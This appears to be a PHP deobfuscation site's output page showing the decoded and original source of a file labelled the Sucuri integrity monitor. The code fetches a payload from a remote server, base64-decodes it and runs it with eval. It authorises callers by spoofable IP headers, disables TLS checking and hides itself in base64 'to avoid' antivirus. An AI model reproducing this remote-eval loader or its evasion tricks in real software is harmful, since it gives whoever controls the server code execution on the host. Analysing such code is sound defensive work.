Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* Sucuri integrity monitor * Integrity checking and server side scanning. * ..

Decoded Output download

/* Sucuri integrity monitor . 
 * Connects back home.
 * Copyright (C) 2010-2013 Sucuri, LLC
 * Do not distribute or share.
 */


$SUCURIPWD = "535e26eb0f3324e8056fe6954976b04c62eb977f2cc51";


if(isset($_GET['test']))
{
    echo "OK: Sucuri: Found
";
    exit(0);
}



/* Valid argument. */
if(!isset($_GET['run']))
{
    exit(0);
}


/* Must have an IP address. */
if(!isset($_SERVER['REMOTE_ADDR']))
{
    exit(0);
}

$origremoteip = $_SERVER['REMOTE_ADDR'];

/* If coming from cloudflare: */
if(isset($_SERVER['HTTP_CF_CONNECTING_IP']))
{
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP'];
}
/* CloudProxy headers. */
else if(isset($_SERVER['HTTP_X_SUCURI_CLIENTIP']))
{
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_SUCURI_CLIENTIP'];
}
/* More gateway requests. */
else if(isset($_SERVER['HTTP_X_ORIG_CLIENT_IP']))
{
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_ORIG_CLIENT_IP'];
}
else if(isset($_SERVER['HTTP_CLIENT_IP']))
{
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CLIENT_IP'];
}
/* Proxy requests. */
else if(isset($_SERVER['HTTP_TRUE_CLIENT_IP']))
{
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_TRUE_CLIENT_IP'];
}
/* Proxy requests. */
else if(isset($_SERVER['HTTP_X_REAL_IP']))
{
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_REAL_IP'];
}
/* More gateway requests. */
else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}


$myiplist = array(
'97.74.127.171',
'69.164.203.172',
'173.230.128.135',
'66.228.34.49',
'66.228.40.185',
'50.116.3.171',
'50.116.36.92',
'198.58.96.212',
'50.116.63.221',
'192.155.92.112',
'192.81.128.31',
'198.58.106.244',
'104.237.143.242',
'104.237.139.227',
'2600:3c00::f03c:91ff:feae:e104',
'2600:3c00::f03c:91ff:fe84:e275',
'2600:3c03::f03c:91ff:fee4:c9f0',
'2600:3c02::f03c:91ff:fee4:c998',
'2600:3c00::f03c:91ff:fe84:e218',
'2600:3c02::f03c:91ff:fedf:58c6',
'2600:3c02::f03c:91ff:fedf:5835',
'2600:3c03::f03c:91ff:fedf:6a7a',
'fe80::fcfd:adff:fee6:8087',
'2600:3c03::f03c:91ff:fe70:36ce',
'2600:3c02::f03c:91ff:fe70:f12d',
'2600:3c01::f03c:91ff:fe70:52bb',
'50.116.36.93',
"192.155.95.139",
"2600:3c02::f03c:91ff:fe69:4b66",
"2600:3c00::f03c:91ff:fe70:5213",
"2600:3c03::f03c:91ff:fedb:b9ce",
"23.239.9.227",
"198.58.112.103",
"192.155.94.43",
"162.216.16.33",
"45.79.210.57",
"45.33.76.17",
"2600:3c00::f03c:91ff:fe6e:a046",
"2600:3c02::f03c:91ff:fe6e:a0dd",
"2600:3c03::f03c:91ff:fe6e:a0ac",
);


$ipmatches = 0;

foreach($myiplist as $myip)
{
    if(strpos($_SERVER['REMOTE_ADDR'], $myip) !== FALSE)
    {
        $ipmatches = 1;
        break;
    }
    if(strpos($origremoteip, $myip) !== FALSE)
    {
        $ipmatches = 1;
        break;
    }
}


if($ipmatches == 0)
{
    echo "ERROR: Invalid IP Address
";
    exit(0);
}


/* Valid key. */
if(!isset($_POST['sscred']))
{
    echo "ERROR: Invalid argument
";
    exit(0);
}


/* Connect back to get what to run. */
if(!function_exists('curl_exec') || isset($_GET['nocurl']))
{
    $postdata = http_build_query(
            array(
                'p' => $SUCURIPWD,
                'q' => $_POST['sscred'],
                )
            );

    $opts = array('http' =>
            array(
                'method'  => 'POST',
                'header'  => 'Content-type: application/x-www-form-urlencoded',
                'content' => $postdata
                )
            );

    $context = stream_context_create($opts);
    $my_sucuri_encoding = file_get_contents("https://$MYMONITOR.sucuri.net/imonitor", false, $context);

    if(strncmp($my_sucuri_encoding, "WORKED:",7) == 0)
    {
    }
    else
    {
        echo "ERROR: Unable to complete (missing curl support and file_get failed). Please contact [email protected] for guidance.
";
        exit(1);
    }
}

else
{

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://$MYMONITOR.sucuri.net/imonitor");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "p=$SUCURIPWD&q=".$_POST['sscred']); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $my_sucuri_encoding = curl_exec($ch);
    curl_close($ch);

    if(strncmp($my_sucuri_encoding, "WORKED:",7) == 0)
    {
    }
    else
    {
        if($my_sucuri_encoding == NULL || strlen($my_sucuri_encoding) < 3)
        {
            $my_sucuri_encoding = "x2351";
        }
        echo "ERROR: Unable to connect back to Sucuri (error: $my_sucuri_encoding). Please contact [email protected] for guidance.
";
        exit(1);
    }
}


$my_sucuri_encoding =  base64_decode(
                       substr($my_sucuri_encoding, 7));


eval(
    $my_sucuri_encoding
    );

Did this file decode correctly?

Original Code

<?php
/* Sucuri integrity monitor
 * Integrity checking and server side scanning.
 *
 * Copyright (C) 2010, 2011, 2012 Sucuri, LLC
 * http://sucuri.net
 * Do not distribute or share.
 */

$MYMONITOR = "monitor20";
$my_sucuri_encoding = "



LyogU3VjdXJpIGludGVncml0eSBtb25pdG9yIC4gCiAqIENvbm5lY3RzIGJhY2sgaG9tZS4KICog
Q29weXJpZ2h0IChDKSAyMDEwLTIwMTMgU3VjdXJpLCBMTEMKICogRG8gbm90IGRpc3RyaWJ1dGUg
b3Igc2hhcmUuCiAqLwoKCiRTVUNVUklQV0QgPSAiNTM1ZTI2ZWIwZjMzMjRlODA1NmZlNjk1NDk3
NmIwNGM2MmViOTc3ZjJjYzUxIjsKCgppZihpc3NldCgkX0dFVFsndGVzdCddKSkKewogICAgZWNo
byAiT0s6IFN1Y3VyaTogRm91bmRcbiI7CiAgICBleGl0KDApOwp9CgoKCi8qIFZhbGlkIGFyZ3Vt
ZW50LiAqLwppZighaXNzZXQoJF9HRVRbJ3J1biddKSkKewogICAgZXhpdCgwKTsKfQoKCi8qIE11
c3QgaGF2ZSBhbiBJUCBhZGRyZXNzLiAqLwppZighaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERS
J10pKQp7CiAgICBleGl0KDApOwp9Cgokb3JpZ3JlbW90ZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B
RERSJ107CgovKiBJZiBjb21pbmcgZnJvbSBjbG91ZGZsYXJlOiAqLwppZihpc3NldCgkX1NFUlZF
UlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ10pKQp7CiAgICAkX1NFUlZFUlsnUkVNT1RFX0FERFIn
XSA9ICRfU0VSVkVSWydIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnXTsKfQovKiBDbG91ZFByb3h5IGhl
YWRlcnMuICovCmVsc2UgaWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9TVUNVUklfQ0xJRU5USVAn
XSkpCnsKICAgICRfU0VSVkVSWydSRU1PVEVfQUREUiddID0gJF9TRVJWRVJbJ0hUVFBfWF9TVUNV
UklfQ0xJRU5USVAnXTsKfQovKiBNb3JlIGdhdGV3YXkgcmVxdWVzdHMuICovCmVsc2UgaWYoaXNz
ZXQoJF9TRVJWRVJbJ0hUVFBfWF9PUklHX0NMSUVOVF9JUCddKSkKewogICAgJF9TRVJWRVJbJ1JF
TU9URV9BRERSJ10gPSAkX1NFUlZFUlsnSFRUUF9YX09SSUdfQ0xJRU5UX0lQJ107Cn0KZWxzZSBp
Zihpc3NldCgkX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXSkpCnsKICAgICRfU0VSVkVSWydSRU1P
VEVfQUREUiddID0gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107Cn0KLyogUHJveHkgcmVxdWVz
dHMuICovCmVsc2UgaWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVFJVRV9DTElFTlRfSVAnXSkpCnsK
ICAgICRfU0VSVkVSWydSRU1PVEVfQUREUiddID0gJF9TRVJWRVJbJ0hUVFBfVFJVRV9DTElFTlRf
SVAnXTsKfQovKiBQcm94eSByZXF1ZXN0cy4gKi8KZWxzZSBpZihpc3NldCgkX1NFUlZFUlsnSFRU
UF9YX1JFQUxfSVAnXSkpCnsKICAgICRfU0VSVkVSWydSRU1PVEVfQUREUiddID0gJF9TRVJWRVJb
J0hUVFBfWF9SRUFMX0lQJ107Cn0KLyogTW9yZSBnYXRld2F5IHJlcXVlc3RzLiAqLwplbHNlIGlm
KGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkKewogICAgJF9TRVJWRVJb
J1JFTU9URV9BRERSJ10gPSAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXTsKfQoKCiRt
eWlwbGlzdCA9IGFycmF5KAonOTcuNzQuMTI3LjE3MScsCic2OS4xNjQuMjAzLjE3MicsCicxNzMu
MjMwLjEyOC4xMzUnLAonNjYuMjI4LjM0LjQ5JywKJzY2LjIyOC40MC4xODUnLAonNTAuMTE2LjMu
MTcxJywKJzUwLjExNi4zNi45MicsCicxOTguNTguOTYuMjEyJywKJzUwLjExNi42My4yMjEnLAon
MTkyLjE1NS45Mi4xMTInLAonMTkyLjgxLjEyOC4zMScsCicxOTguNTguMTA2LjI0NCcsCicxMDQu
MjM3LjE0My4yNDInLAonMTA0LjIzNy4xMzkuMjI3JywKJzI2MDA6M2MwMDo6ZjAzYzo5MWZmOmZl
YWU6ZTEwNCcsCicyNjAwOjNjMDA6OmYwM2M6OTFmZjpmZTg0OmUyNzUnLAonMjYwMDozYzAzOjpm
MDNjOjkxZmY6ZmVlNDpjOWYwJywKJzI2MDA6M2MwMjo6ZjAzYzo5MWZmOmZlZTQ6Yzk5OCcsCicy
NjAwOjNjMDA6OmYwM2M6OTFmZjpmZTg0OmUyMTgnLAonMjYwMDozYzAyOjpmMDNjOjkxZmY6ZmVk
Zjo1OGM2JywKJzI2MDA6M2MwMjo6ZjAzYzo5MWZmOmZlZGY6NTgzNScsCicyNjAwOjNjMDM6OmYw
M2M6OTFmZjpmZWRmOjZhN2EnLAonZmU4MDo6ZmNmZDphZGZmOmZlZTY6ODA4NycsCicyNjAwOjNj
MDM6OmYwM2M6OTFmZjpmZTcwOjM2Y2UnLAonMjYwMDozYzAyOjpmMDNjOjkxZmY6ZmU3MDpmMTJk
JywKJzI2MDA6M2MwMTo6ZjAzYzo5MWZmOmZlNzA6NTJiYicsCic1MC4xMTYuMzYuOTMnLAoiMTky
LjE1NS45NS4xMzkiLAoiMjYwMDozYzAyOjpmMDNjOjkxZmY6ZmU2OTo0YjY2IiwKIjI2MDA6M2Mw
MDo6ZjAzYzo5MWZmOmZlNzA6NTIxMyIsCiIyNjAwOjNjMDM6OmYwM2M6OTFmZjpmZWRiOmI5Y2Ui
LAoiMjMuMjM5LjkuMjI3IiwKIjE5OC41OC4xMTIuMTAzIiwKIjE5Mi4xNTUuOTQuNDMiLAoiMTYy
LjIxNi4xNi4zMyIsCiI0NS43OS4yMTAuNTciLAoiNDUuMzMuNzYuMTciLAoiMjYwMDozYzAwOjpm
MDNjOjkxZmY6ZmU2ZTphMDQ2IiwKIjI2MDA6M2MwMjo6ZjAzYzo5MWZmOmZlNmU6YTBkZCIsCiIy
NjAwOjNjMDM6OmYwM2M6OTFmZjpmZTZlOmEwYWMiLAopOwoKCiRpcG1hdGNoZXMgPSAwOwoKZm9y
ZWFjaCgkbXlpcGxpc3QgYXMgJG15aXApCnsKICAgIGlmKHN0cnBvcygkX1NFUlZFUlsnUkVNT1RF
X0FERFInXSwgJG15aXApICE9PSBGQUxTRSkKICAgIHsKICAgICAgICAkaXBtYXRjaGVzID0gMTsK
ICAgICAgICBicmVhazsKICAgIH0KICAgIGlmKHN0cnBvcygkb3JpZ3JlbW90ZWlwLCAkbXlpcCkg
IT09IEZBTFNFKQogICAgewogICAgICAgICRpcG1hdGNoZXMgPSAxOwogICAgICAgIGJyZWFrOwog
ICAgfQp9CgoKaWYoJGlwbWF0Y2hlcyA9PSAwKQp7CiAgICBlY2hvICJFUlJPUjogSW52YWxpZCBJ
UCBBZGRyZXNzXG4iOwogICAgZXhpdCgwKTsKfQoKCi8qIFZhbGlkIGtleS4gKi8KaWYoIWlzc2V0
KCRfUE9TVFsnc3NjcmVkJ10pKQp7CiAgICBlY2hvICJFUlJPUjogSW52YWxpZCBhcmd1bWVudFxu
IjsKICAgIGV4aXQoMCk7Cn0KCgovKiBDb25uZWN0IGJhY2sgdG8gZ2V0IHdoYXQgdG8gcnVuLiAq
LwppZighZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2V4ZWMnKSB8fCBpc3NldCgkX0dFVFsnbm9jdXJs
J10pKQp7CiAgICAkcG9zdGRhdGEgPSBodHRwX2J1aWxkX3F1ZXJ5KAogICAgICAgICAgICBhcnJh
eSgKICAgICAgICAgICAgICAgICdwJyA9PiAkU1VDVVJJUFdELAogICAgICAgICAgICAgICAgJ3En
ID0+ICRfUE9TVFsnc3NjcmVkJ10sCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICk7Cgog
ICAgJG9wdHMgPSBhcnJheSgnaHR0cCcgPT4KICAgICAgICAgICAgYXJyYXkoCiAgICAgICAgICAg
ICAgICAnbWV0aG9kJyAgPT4gJ1BPU1QnLAogICAgICAgICAgICAgICAgJ2hlYWRlcicgID0+ICdD
b250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcsCiAgICAgICAg
ICAgICAgICAnY29udGVudCcgPT4gJHBvc3RkYXRhCiAgICAgICAgICAgICAgICApCiAgICAgICAg
ICAgICk7CgogICAgJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdHMpOwogICAg
JG15X3N1Y3VyaV9lbmNvZGluZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovLyRNWU1PTklU
T1Iuc3VjdXJpLm5ldC9pbW9uaXRvciIsIGZhbHNlLCAkY29udGV4dCk7CgogICAgaWYoc3RybmNt
cCgkbXlfc3VjdXJpX2VuY29kaW5nLCAiV09SS0VEOiIsNykgPT0gMCkKICAgIHsKICAgIH0KICAg
IGVsc2UKICAgIHsKICAgICAgICBlY2hvICJFUlJPUjogVW5hYmxlIHRvIGNvbXBsZXRlIChtaXNz
aW5nIGN1cmwgc3VwcG9ydCBhbmQgZmlsZV9nZXQgZmFpbGVkKS4gUGxlYXNlIGNvbnRhY3Qgc3Vw
cG9ydEBzdWN1cmkubmV0IGZvciBndWlkYW5jZS5cbiI7CiAgICAgICAgZXhpdCgxKTsKICAgIH0K
fQoKZWxzZQp7CgogICAgJGNoID0gY3VybF9pbml0KCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENV
UkxPUFRfVVJMLCAiaHR0cHM6Ly8kTVlNT05JVE9SLnN1Y3VyaS5uZXQvaW1vbml0b3IiKTsKICAg
IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICBjdXJs
X3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENV
UkxPUFRfUE9TVEZJRUxEUywgInA9JFNVQ1VSSVBXRCZxPSIuJF9QT1NUWydzc2NyZWQnXSk7IAog
ICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CgogICAg
JG15X3N1Y3VyaV9lbmNvZGluZyA9IGN1cmxfZXhlYygkY2gpOwogICAgY3VybF9jbG9zZSgkY2gp
OwoKICAgIGlmKHN0cm5jbXAoJG15X3N1Y3VyaV9lbmNvZGluZywgIldPUktFRDoiLDcpID09IDAp
CiAgICB7CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgaWYoJG15X3N1Y3VyaV9lbmNvZGlu
ZyA9PSBOVUxMIHx8IHN0cmxlbigkbXlfc3VjdXJpX2VuY29kaW5nKSA8IDMpCiAgICAgICAgewog
ICAgICAgICAgICAkbXlfc3VjdXJpX2VuY29kaW5nID0gIngyMzUxIjsKICAgICAgICB9CiAgICAg
ICAgZWNobyAiRVJST1I6IFVuYWJsZSB0byBjb25uZWN0IGJhY2sgdG8gU3VjdXJpIChlcnJvcjog
JG15X3N1Y3VyaV9lbmNvZGluZykuIFBsZWFzZSBjb250YWN0IHN1cHBvcnRAc3VjdXJpLm5ldCBm
b3IgZ3VpZGFuY2UuXG4iOwogICAgICAgIGV4aXQoMSk7CiAgICB9Cn0KCgokbXlfc3VjdXJpX2Vu
Y29kaW5nID0gIGJhc2U2NF9kZWNvZGUoCiAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRt
eV9zdWN1cmlfZW5jb2RpbmcsIDcpKTsKCgpldmFsKAogICAgJG15X3N1Y3VyaV9lbmNvZGluZwog
ICAgKTsK

";

/* Encoded to avoid that it gets flagged by AV products or even ourselves :) */
$tempb64 =  
           base64_decode(
                          $my_sucuri_encoding);

eval(  $tempb64 
      );
exit(0); ?>

Function Calls

base64_decode 1

Variables

$tempb64 /* Sucuri integrity monitor . * Connects back home. * Cop..
$MYMONITOR monitor20
$my_sucuri_encoding LyogU3VjdXJpIGludGVncml0eSBtb25pdG9yIC4gCiAqIENvbm5l..

Stats

MD5 5724c047c06c60f2848cf79bd7ada235
Eval Count 1
Decode Time 99 ms